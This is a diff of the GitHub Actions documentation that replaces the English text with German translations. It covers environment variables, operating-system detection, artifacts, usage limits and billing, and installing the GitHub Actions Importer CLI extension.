`RUNNER_OS` | {% data reusables.actions.runner-os-description %} Zum Beispiel `Windows` | | `RUNNER_TEMP` | {% data reusables.actions.runner-temp-directory-description %} Zum Beispiel `D:\a\_temp` | {%- ifversion not ghae %} | `RUNNER_TOOL_CACHE` | {% data reusables.actions.runner-tool-cache-description %} Zum Beispiel `C:\hostedtoolcache\windows` | {%- endif %}
{% note %}
**Note:**
**Hinweis:**
* If you need to use a workflow run's URL from within a job, you can combine these environment variables: `$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID`
* Most of the default environment variables have a corresponding, and similarly named, context property. For example, the value of the `GITHUB_REF` environment variable can be read during workflow processing using the {% raw %}`${{ github.ref }}`{% endraw %} context property.
* Wenn du die URL einer Workflowausführung in einem Auftrag verwenden musst, kannst du diese Umgebungsvariablen kombinieren: `$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID`.
* Die meisten Standardumgebungsvariablen verfügen über eine entsprechende Kontexteigenschaft mit einem ähnlichen Namen. So kann beispielsweise der Wert der Umgebungsvariable `GITHUB_REF` während der Workflowverarbeitung mit der Kontexteigenschaft {% raw %}`${{ github.ref }}`{% endraw %} gelesen werden.
{% endnote %}
## Detecting the operating system
## Erkennen des Betriebssystems
You can write a single workflow file that can be used for different operating systems by using the `RUNNER_OS` default environment variable and the corresponding context property <span style="white-space: nowrap;">{% raw %}`${{ runner.os }}`{% endraw %}</span>. For example, the following workflow could be run successfully if you changed the operating system from `macos-latest` to `windows-latest` without having to alter the syntax of the environment variables, which differs depending on the shell being used by the runner.
Mithilfe der Standardumgebungsvariable `RUNNER_OS` und der entsprechenden Kontexteigenschaft <span style="white-space: nowrap;">{% raw %}`${{ runner.os }}`{% endraw %}</span> kannst du eine einzelne Workflowdatei erstellen, die für verschiedene Betriebssysteme verwendet werden kann. Beispielsweise könnte der folgende Workflow erfolgreich ausgeführt werden, wenn du das Betriebssystem von `macos-latest` in `windows-latest` änderst, ohne dass die Syntax der Umgebungsvariablen angepasst werden muss, die je nachdem, welche Shell auf dem Runner verwendet wird, unterschiedlich ist.
{% raw %}
```yaml
@ -201,11 +179,11 @@ jobs:
```
{% endraw %}
In this example, the two `if` statements check the `os` property of the `runner` context to determine the operating system of the runner. `if` conditionals are processed by {% data variables.product.prodname_actions %}, and only steps where the check resolves as `true` are sent to the runner. Here one of the checks will always be `true` and the other `false`, so only one of these steps is sent to the runner. Once the job is sent to the runner, the step is executed and the environment variable in the `echo` command is interpolated using the appropriate syntax (`$env:NAME` for PowerShell on Windows, and `$NAME` for bash and sh on Linux and MacOS). In this example, the statement `runs-on: macos-latest` means that the second step will be run.
In diesem Beispiel wird mit den beiden `if`-Anweisungen die Eigenschaft `os` des Kontexts `runner` überprüft, um das Betriebssystem des Runners zu ermitteln. Die `if`-Bedingungen werden von {% data variables.product.prodname_actions %} verarbeitet, und nur Schritte, in denen das Ergebnis der Überprüfung `true` lautet, werden an den Runner gesendet. Hier ist immer das Ergebnis einer Überprüfung `true` und das der anderen `false`, sodass nur einer dieser Schritte an den Runner gesendet wird. Sobald der Auftrag an den Runner gesendet wird, wird der Schritt ausgeführt, und die Umgebungsvariable im `echo`-Befehl wird mit der richtigen Syntax interpoliert (`$env:NAME` für PowerShell unter Windows und `$NAME` für Bash und sh unter Linux bzw. macOS). In diesem Beispiel bedeutet die Anweisung `runs-on: macos-latest`, dass der zweite Schritt ausgeführt wird.
## Passing values between steps and jobs in a workflow
## Übergeben von Werten zwischen Schritten und Aufträgen in einem Workflow
If you generate a value in one step of a job, you can use the value in subsequent steps of the same job by assigning the value to an existing or new environment variable and then writing this to the `GITHUB_ENV` environment file. The environment file can be used directly by an action, or from a shell command in the workflow file by using the `run` keyword. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-environment-variable)."
Wenn ein Wert in einem Schritt eines Auftrags generiert wird, kannst du diesen in darauffolgenden Schritten desselben Auftrags verwenden, indem du den Wert einer bereits vorhandenen oder neuen Umgebungsvariable zuweist und diese dann in die `GITHUB_ENV`-Umgebungsdatei schreibst. Die Umgebungsdatei kann direkt von einer Aktion oder über einen Shellbefehl in der Workflowdatei mit dem Schlüsselwort `run` verwendet werden. Weitere Informationen findest du unter [Workflowbefehle für {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-environment-variable).
If you want to pass a value from a step in one job in a workflow to a step in another job in the workflow, you can define the value as a job output. You can then reference this job output from a step in another job. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idoutputs)."
Wenn du einen Wert von einem Schritt in einem Auftrag in einem bestimmten Workflow an einen Schritt in einem anderen Auftrag in diesem Workflow übergeben möchtest, kannst du den Wert als Auftragsausgabe definieren. Dann kannst du in einem Schritt in einem anderen Auftrag auf diese Auftragsausgabe verweisen. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idoutputs).

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Essential features of GitHub Actions
title: Grundlegende Features von GitHub Actions
shortTitle: Essential features
intro: '{% data variables.product.prodname_actions %} are designed to help you build robust and dynamic automations. This guide will show you how to craft {% data variables.product.prodname_actions %} workflows that include environment variables, customized scripts, and more.'
intro: '{% data variables.product.prodname_actions %} sind dafür konzipiert, dass du stabile und dynamische Automatisierungen erstellen kannst. In diesem Leitfaden wird gezeigt, wie du {% data variables.product.prodname_actions %}-Workflows erstellen kannst, die Umgebungsvariablen, benutzerdefinierte Skripts und vieles mehr enthalten.'
versions:
fpt: '*'
ghes: '*'
@ -10,18 +10,22 @@ versions:
type: overview
topics:
- Fundamentals
ms.openlocfilehash: 46a6a33928d9ff4587707972fc26de86c59f9ac6
ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/11/2022
ms.locfileid: '145069003'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Übersicht
## Overview
Mit {% data variables.product.prodname_actions %} kannst du deine Workflows so anpassen, dass sie die individuellen Anforderungen deiner Anwendung und deines Teams erfüllen. In diesem Leitfaden werden einige der wichtigsten Anpassungstechniken erklärt, z. B. das Verwenden von Variablen, das Ausführen von Skripts und das Freigeben von Daten und Artefakten zwischen Aufträgen.
{% data variables.product.prodname_actions %} allow you to customize your workflows to meet the unique needs of your application and team. In this guide, we'll discuss some of the essential customization techniques such as using variables, running scripts, and sharing data and artifacts between jobs.
## Verwenden von Variablen in deinen Workflows
## Using variables in your workflows
{% data variables.product.prodname_actions %} include default environment variables for each workflow run. If you need to use custom environment variables, you can set these in your YAML workflow file. This example demonstrates how to create custom variables named `POSTGRES_HOST` and `POSTGRES_PORT`. These variables are then available to the `node client.js` script.
{% data variables.product.prodname_actions %} enthält Standardumgebungsvariablen für jede Workflowausführung. Wenn du benutzerdefinierte Umgebungsvariablen verwenden musst, kannst du diese in deiner YAML-Workflowdatei festlegen. In diesem Beispiel wird veranschaulicht, wie du die benutzerdefinierten Variablen `POSTGRES_HOST` und `POSTGRES_PORT` erstellen kannst. Diese Variablen sind dann für das `node client.js`-Skript verfügbar.
```yaml
jobs:
@ -34,11 +38,11 @@ jobs:
POSTGRES_PORT: 5432
```
For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)."
Weitere Informationen findest du unter [Verwenden von Umgebungsvariablen](/actions/configuring-and-managing-workflows/using-environment-variables).
## Adding scripts to your workflow
## Hinzufügen von Skripts zu deinem Workflow
You can use actions to run scripts and shell commands, which are then executed on the assigned runner. This example demonstrates how an action can use the `run` keyword to execute `npm install -g bats` on the runner.
Mit Aktionen kannst du Skript- und Shellbefehle ausführen, die dann auf dem zugewiesenen Runner ausgeführt werden. In diesem Beispiel wird veranschaulicht, wie eine Aktion das `run`-Schlüsselwort verwenden kann, um `npm install -g bats` auf dem Runner auszuführen.
```yaml
jobs:
@ -47,7 +51,7 @@ jobs:
- run: npm install -g bats
```
For example, to run a script as an action, you can store the script in your repository and supply the path and shell type.
Wenn du beispielsweise ein Skript als Aktion ausführst, kannst du das Skript in deinem Repository speichern und den Pfad und Shelltyp angeben.
```yaml
jobs:
@ -58,13 +62,13 @@ jobs:
shell: bash
```
For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun).
## Sharing data between jobs
## Freigeben von Daten zwischen Aufträgen
If your job generates files that you want to share with another job in the same workflow, or if you want to save the files for later reference, you can store them in {% data variables.product.prodname_dotcom %} as _artifacts_. Artifacts are the files created when you build and test your code. For example, artifacts might include binary or package files, test results, screenshots, or log files. Artifacts are associated with the workflow run where they were created and can be used by another job. {% data reusables.actions.reusable-workflow-artifacts %}
Wenn dein Auftrag Dateien generiert, die du für einen anderen Auftrag im selben Workflow freigeben möchtest, oder wenn du die Dateien zur späteren Verwendung speichern möchtest, kannst du sie in {% data variables.product.prodname_dotcom %} als _Artefakte_ speichern. Artefakte sind die Dateien, die erstellt werden, wenn du deinen Code erstellst und testest. Artefakte können beispielsweise Binär- oder Paketdateien, Testergebnisse, Screenshots oder Protokolldateien sein. Artefakte sind der Workflowausführung zugeordnet, in der sie erstellt wurden, und sie können in einem anderen Auftrag verwendet werden. {% data reusables.actions.reusable-workflow-artifacts %}
For example, you can create a file and then upload it as an artifact.
Du kannst beispielsweise eine Datei erstellen und sie dann als Artefakt hochladen.
```yaml
jobs:
@ -81,7 +85,7 @@ jobs:
path: output.log
```
To download an artifact from a separate workflow run, you can use the `actions/download-artifact` action. For example, you can download the artifact named `output-log-file`.
Du kannst die `actions/download-artifact`-Aktion verwenden, wenn du ein Artefakt aus einer separaten Workflowausführung herunterladen möchtest. Beispielsweise kannst du das Artefakt mit dem Namen `output-log-file` herunterladen.
```yaml
jobs:
@ -93,10 +97,10 @@ jobs:
name: output-log-file
```
To download an artifact from the same workflow run, your download job should specify `needs: upload-job-name` so it doesn't start until the upload job finishes.
Wenn du ein Artefakt aus derselben Workflowausführung herunterladen möchtest, sollte der Downloadauftrag den `needs: upload-job-name` angeben, damit er erst gestartet wird, wenn der Uploadauftrag abgeschlossen ist.
For more information about artifacts, see "[Persisting workflow data using artifacts](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)."
Weitere Informationen zu Artefakten findest du unter [Endgültiges Speichern von Workflowdaten mit Artefakten](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts).
## Next steps
## Nächste Schritte
To continue learning about {% data variables.product.prodname_actions %}, see "[Managing complex workflows](/actions/learn-github-actions/managing-complex-workflows)."
Weitere Informationen zu {% data variables.product.prodname_actions %} findest du unter [Verwalten komplexer Workflows](/actions/learn-github-actions/managing-complex-workflows).

Просмотреть файл

@ -1,6 +1,6 @@
---
title: 'Usage limits, billing, and administration'
intro: 'There are usage limits for {% data variables.product.prodname_actions %} workflows. Usage charges apply to repositories that go beyond the amount of free minutes and storage for a repository.'
title: 'Nutzungseinschränkungen, Abrechnung und Verwaltung'
intro: 'Es gibt Nutzungsbeschränkungen für {% data variables.product.prodname_actions %}-Workflows. Nutzungsgebühren gelten für Repositorys, die über die Menge der kostenlosen Minuten und den Speicher für ein Repository hinausgehen.'
redirect_from:
- /actions/getting-started-with-github-actions/usage-and-billing-information-for-github-actions
- /actions/reference/usage-limits-billing-and-administration
@ -11,115 +11,113 @@ versions:
topics:
- Billing
shortTitle: Workflow billing & limits
ms.openlocfilehash: 5abd041d41ab2227aa87c383f39c94876544718c
ms.sourcegitcommit: 9af8891fea10039b3374c76818634e05410e349d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 12/06/2022
ms.locfileid: '148191854'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Informationen zur Abrechnung für {% data variables.product.prodname_actions %}
## About billing for {% data variables.product.prodname_actions %}
{% data reusables.repositories.about-github-actions %} Weitere Informationen findest du unter „[Grundlegendes zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions){% ifversion fpt %}“.{% elsif ghes or ghec %}“ und „[Informationen zu {% data variables.product.prodname_actions %} für Unternehmen](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)“.{% endif %}
{% data reusables.repositories.about-github-actions %} For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions){% ifversion fpt %}."{% elsif ghes or ghec %}" and "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)."{% endif %}
{% ifversion fpt or ghec %}
{% data reusables.actions.actions-billing %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
{% else %}
GitHub Actions usage is free for {% data variables.product.prodname_ghe_server %} instances that use self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
{% ifversion fpt or ghec %} {% data reusables.actions.actions-billing %} Weitere Informationen findest du unter „[Informationen zur Abrechnung für {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)“.
{% else %} Die Nutzung von GitHub Actions ist kostenlos für {% data variables.product.prodname_ghe_server %}-Instanzen, die selbstgehostete Runner verwenden. Weitere Informationen findest du unter „[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners)“.
{% endif %}
{% ifversion fpt or ghec %}
## Availability
## Verfügbarkeit
{% data variables.product.prodname_actions %} is available on all {% data variables.product.prodname_dotcom %} products, but {% data variables.product.prodname_actions %} is not available for private repositories owned by accounts using legacy per-repository plans. {% data reusables.gated-features.more-info %}
{% data variables.product.prodname_actions %} ist für alle {% data variables.product.prodname_dotcom %}-Produkte verfügbar. {% data variables.product.prodname_actions %} ist jedoch nicht für private Repositorys verfügbar, die sich im Besitz von Konten mit Legacy-Repositoryplänen befinden. {% data reusables.gated-features.more-info %}
{% endif %}
## Usage limits
## Usage limits (Nutzungseinschränkungen)
{% ifversion fpt or ghec %}
There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. These limits are subject to change.
{% ifversion fpt or ghec %} Bei Verwendung von {% data variables.product.prodname_dotcom %}-gehosteten Runnern gelten für die Nutzung von {% data variables.product.prodname_actions %} einige Einschränkungen. Die Einschränkungen können sich jederzeit ändern.
{% note %}
**Note:** For self-hosted runners, different usage limits apply. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
**Hinweis:** Für selbstgehostete Runner gelten andere Nutzungseinschränkungen. Weitere Informationen findest du unter „[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits).
{% endnote %}
- **Job execution time** - Each job in a workflow can run for up to 6 hours of execution time. If a job reaches this limit, the job is terminated and fails to complete.
{% data reusables.actions.usage-workflow-run-time %}
{% data reusables.actions.usage-api-requests %}
- **Concurrent jobs** - The number of concurrent jobs you can run in your account depends on your GitHub plan, as well as the type of runner used. If exceeded, any additional jobs are queued.
- **Auftragsausführungszeit**: Jeder Auftrag in einem Workflow kann bis zu sechs Stunden lang ausgeführt werden. Wenn ein Auftrag dieses Limit erreicht, wird der Auftrag beendet und kann nicht abgeschlossen werden.
{% data reusables.actions.usage-workflow-run-time %} {% data reusables.actions.usage-api-requests %}
- **Gleichzeitige Aufträge:** Die Anzahl der Aufträge, die du in deinem Konto gleichzeitig ausführen kannst, hängt von deinem GitHub-Plan und dem verwendeten Runnertyp ab. Bei Überschreitung werden alle zusätzlichen Aufträge in die Warteschlange gestellt.
**Standard {% data variables.product.prodname_dotcom %}-hosted runners**
**Von {% data variables.product.prodname_dotcom %} gehostete Standardrunner**
| GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs |
| GitHub Plan | Total parallele Aufträge | Maximal parallele macOS-Aufträge |
|---|---|---|
| Free | 20 | 5 |
| Pro | 40 | 5 |
| Kostenlos | 20 | 5 |
| Vorteil | 40 | 5 |
| Team | 60 | 5 |
| Enterprise | 180 | 50 |
**{% data variables.product.prodname_dotcom %}-hosted {% data variables.actions.hosted_runner %}s**
**Von {% data variables.product.prodname_dotcom %} gehostete {% data variables.actions.hosted_runner %}**
| GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs |
| GitHub Plan | Total parallele Aufträge | Maximal parallele macOS-Aufträge |
|---|---|---|
| All | 500 | n/a |
| All | 500 | |
{% note %}
**Note:** If required, customers on enterprise plans can request a higher limit for concurrent jobs. For more information, contact {% data variables.contact.contact_ent_support %} or your sales representative.
**Hinweis:** Bei Bedarf können Kunden in Enterprise-Plänen einen höheren Grenzwert für gleichzeitige Aufträge anfordern. Weitere Informationen erhältst du von {% data variables.contact.contact_ent_support %} oder deinem bzw deiner Vertriebsmitarbeiter*in.
{% endnote %}
- **Job matrix** - {% data reusables.actions.usage-matrix-limits %}
{% data reusables.actions.usage-workflow-queue-limits %}
- **Auftragsmatrix:** {% data reusables.actions.usage-matrix-limits %} {% data reusables.actions.usage-workflow-queue-limits %}
{% else %}
Usage limits apply to self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
{% else %} Nutzungseinschränkungen gelten für selbstgehostete Runner. Weitere Informationen findest du unter „[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)“.
{% endif %}
{% ifversion fpt or ghec %}
## Usage policy
## Nutzungsrichtlinie
In addition to the usage limits, you must ensure that you use {% data variables.product.prodname_actions %} within the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/). For more information on {% data variables.product.prodname_actions %}-specific terms, see the [GitHub Additional Product Terms](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage).
Neben den Nutzungseinschränkungen musst du auch sicherstellen, dass du {% data variables.product.prodname_actions %} im Rahmen der [GitHub-Nutzungsbedingungen](/free-pro-team@latest/github/site-policy/github-terms-of-service/) verwendest. Weitere Informationen zu {% data variables.product.prodname_actions %}-spezifischen Bedingungen findest du in den [GitHub-Bedingungen für zusätzliche Produkte](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage).
{% endif %}
{% ifversion fpt or ghes > 3.3 or ghec %}
## Billing for reusable workflows
## Abrechnung für wiederverwendbare Workflows
{% data reusables.actions.reusable-workflows-enterprise-beta %}
If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. The caller cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository.
Bei Wiederverwendung eines Workflows wird die Abrechnung immer dem Workflow der aufrufenden Funktion zugeordnet. Die Zuweisung von {% data variables.product.prodname_dotcom %}-gehosteten Runnern wird immer nur im Kontext der aufrufenden Funktion ausgewertet. Die aufrufende Funktion kann keine {% data variables.product.prodname_dotcom %}-gehosteten Runner über das aufgerufene Repository verwenden.
For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
Weitere Informationen findest du unter [Wiederverwenden von Workflows](/actions/learn-github-actions/reusing-workflows).
{% endif %}
## Artifact and log retention policy
## Aufbewahrungsrichtlinie für Artefakte und Protokolle
You can configure the artifact and log retention period for your repository, organization, or enterprise account.
Du kannst die Standardaufbewahrungsdauer für Artefakte und Protokolle für dein Repository, deine Organisation oder dein Unternehmenskonto anpassen.
{% data reusables.actions.about-artifact-log-retention %}
For more information, see:
Weitere Informationen findest du unter
- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)"
- "[Configuring the retention period for {% data variables.product.prodname_actions %} for artifacts and logs in your organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)"
- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
- „[Verwalten von {% data variables.product.prodname_actions %}-Einstellungen für ein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)
- „[Konfigurieren des Aufbewahrungszeitraums für {% data variables.product.prodname_actions %}-Artefakte und -Protokolle in deiner Organisation](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)
- „[Erzwingen von Richtlinien für {% data variables.product.prodname_actions %} in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)
## Disabling or limiting {% data variables.product.prodname_actions %} for your repository or organization
## {% data variables.product.prodname_actions %} für dein Repository oder deine Organisation deaktivieren oder beschränken
{% data reusables.actions.disabling-github-actions %}
For more information, see:
- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)"
- "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)"
- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
Weitere Informationen findest du unter
- „[Verwalten von {% data variables.product.prodname_actions %}-Einstellungen für ein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)
- „[Deaktivieren oder Beschränken von {% data variables.product.prodname_actions %} für dein Repository oder deine Organisation](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)
- „[Erzwingen von Richtlinien für {% data variables.product.prodname_actions %} in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)
## Disabling and enabling workflows
## Deaktivieren und Aktivieren von Workflows
You can enable and disable individual workflows in your repository on {% data variables.product.prodname_dotcom %}.
Du kannst einzelne Workflows in deinem Repository für {% data variables.product.prodname_dotcom %} aktivieren und deaktivieren.
{% data reusables.actions.scheduled-workflows-disabled %}
For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)."
Weitere Informationen findest du unter „[Deaktivieren und Aktivieren eines Workflows](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow).

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Automating migration with GitHub Actions Importer
intro: 'Use {% data variables.product.prodname_actions_importer %} to plan and automate your migration to {% data variables.product.prodname_actions %}.'
title: Automatisieren der Migration mit GitHub Actions Importer
intro: 'Verwende {% data variables.product.prodname_actions_importer %}, um die Migration zu {% data variables.product.prodname_actions %} zu planen und zu automatisieren.'
versions:
fpt: '*'
ghec: '*'
@ -12,31 +12,35 @@ topics:
- Migration
- CI
- CD
shortTitle: Automate migration with {% data variables.product.prodname_actions_importer %}
shortTitle: 'Automate migration with {% data variables.product.prodname_actions_importer %}'
ms.openlocfilehash: 391455eb90a3a71ab0e0cb5a1573a0ee48527d8e
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/09/2022
ms.locfileid: '148159681'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
[Legal notice](#legal-notice)
[Rechtliche Hinweise](#legal-notice)
{% note %}
**Note**: {% data variables.product.prodname_actions_importer %} is currently available as a public preview. Visit the [sign up page](https://github.com/features/actions-importer/signup) to request access to the preview. Once you are granted access you'll be able to use the `gh-actions-importer` CLI extension
**Hinweis**: {% data variables.product.prodname_actions_importer %} ist derzeit als Public Preview verfügbar. Besuche die [Registrierungsseite](https://github.com/features/actions-importer/signup), um den Zugang zur Vorschauversion zu beantragen. Sobald dir dieser Zugang erteilt wurde, kannst du die CLI-Erweiterung `gh-actions-importer` verwenden.
{% endnote %}
## About {% data variables.product.prodname_actions_importer %}
## Informationen zu {% data variables.product.prodname_actions_importer %}
You can use {% data variables.product.prodname_actions_importer %} to plan and automatically migrate your CI/CD pipelines to {% data variables.product.prodname_actions %} from Azure DevOps, CircleCI, GitLab, Jenkins, and Travis CI.
Du kannst {% data variables.product.prodname_actions_importer %} verwenden, um die Migration deiner CI/CD-Pipelines von Azure DevOps, CircleCI, GitLab, Jenkins und Travis CI zu {% data variables.product.prodname_actions %} zu planen und zu automatisieren.
{% data variables.product.prodname_actions_importer %} is distributed as a Docker container, and uses a [{% data variables.product.prodname_dotcom %} CLI](https://cli.github.com) extension to interact with the container.
{% data variables.product.prodname_actions_importer %} wird als Docker-Container verteilt und verwendet eine [{% data variables.product.prodname_dotcom %}-CLI-Erweiterung](https://cli.github.com) für die Interaktion mit dem Container.
Any workflow that is converted by the {% data variables.product.prodname_actions_importer %} should be inspected for correctness before using it as a production workload. The goal is to achieve an 80% conversion rate for every workflow, however, the actual conversion rate will depend on the makeup of each individual pipeline that is converted.
Jeder Workflow, der von {% data variables.product.prodname_actions_importer %} konvertiert wird, sollte auf seine Korrektheit überprüft werden, bevor er als Produktionsworkload verwendet wird. Das Ziel besteht darin, eine Konvertierungsrate von 80 % für jeden Workflow zu erzielen. Die tatsächliche Konvertierungsrate hängt jedoch von der Zusammensetzung jeder einzelnen Pipeline ab, die konvertiert wird.
## Supported CI platforms
## Unterstützte CI-Plattformen
You can use {% data variables.product.prodname_actions_importer %} to migrate from the following platforms:
Du kannst {% data variables.product.prodname_actions_importer %} verwenden, um von den folgenden Plattformen zu migrieren:
- Azure DevOps
- CircleCI
@ -44,36 +48,36 @@ You can use {% data variables.product.prodname_actions_importer %} to migrate fr
- Jenkins
- Travis CI
Once you are granted access to the preview, you will be able to access further reference documentation for each of the supported platforms.
Sobald du Zugang zur Vorschauversion hast, kannst du auf weiterführende Referenzdokumentationen für die unterstützten Plattformen zugreifen.
## Prerequisites
## Voraussetzungen
{% data variables.product.prodname_actions_importer %} has the following requirements:
Für {% data variables.product.prodname_actions_importer %} gelten die folgenden Voraussetzungen:
- You must have been granted access to the public preview for the {% data variables.product.prodname_actions_importer %}.
- Du benötigst Zugang zur Public Preview von {% data variables.product.prodname_actions_importer %}.
{%- ifversion ghes < 3.5 or ghae %}
- Use a {% data variables.product.pat_generic %} with the `read:packages` scope enabled.
- Verwende ein {% data variables.product.pat_generic %} mit dem Bereich `read:packages`.
{%- else %}
- You must have credentials to authenticate to the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}. For more information, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry#authenticating-to-the-container-registry)."
- Du benötigst Anmeldeinformationen für die Authentifizierung bei {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}. Weitere Informationen findest du unter [Arbeiten mit der Containerregistrierung](/packages/working-with-a-github-packages-registry/working-with-the-container-registry#authenticating-to-the-container-registry).
{% endif %}
- An environment where you can run Linux-based containers, and can install the necessary tools.
- Docker is [installed](https://docs.docker.com/get-docker/) and running.
- [{% data variables.product.prodname_dotcom %} CLI](https://cli.github.com) is installed.
- Eine Umgebung, in der du Linux-basierte Container ausführen und die erforderlichen Tools installieren kannst:
- Docker ist [installiert](https://docs.docker.com/get-docker/) und wird ausgeführt.
- Die [{% data variables.product.prodname_dotcom %}-CLI](https://cli.github.com) ist installiert.
{% note %}
**Note**: The {% data variables.product.prodname_actions_importer %} container and CLI do not need to be installed on the same server as your CI platform.
**Hinweis**: Der {% data variables.product.prodname_actions_importer %}-Container und die CLI müssen nicht auf demselben Server wie deine CI-Plattform installiert werden.
{% endnote %}
### Installing the {% data variables.product.prodname_actions_importer %} CLI extension
### Installieren der {% data variables.product.prodname_actions_importer %}-CLI-Erweiterung
1. Install the {% data variables.product.prodname_actions_importer %} CLI extension:
1. So installierst du die {% data variables.product.prodname_actions_importer %}-CLI-Erweiterung:
```bash
$ gh extension install github/gh-actions-importer
```
1. Verify that the extension is installed:
1. Überprüfe, ob die Erweiterung installiert ist:
```bash
$ gh actions-importer -h
@ -90,39 +94,39 @@ Once you are granted access to the preview, you will be able to access further r
migrate Convert a pipeline to a GitHub Actions workflow and open a pull request with the changes.
```
### Updating the {% data variables.product.prodname_actions_importer %} CLI
### Aktualisieren der {% data variables.product.prodname_actions_importer %}-CLI
To ensure you're running the latest version of {% data variables.product.prodname_actions_importer %}, you should regularly run the `update` command:
Vergewissere dich regelmäßig, dass die aktuelle Version von {% data variables.product.prodname_actions_importer %} ausgeführt wird, indem du den Befehl `update` ausführst:
```bash
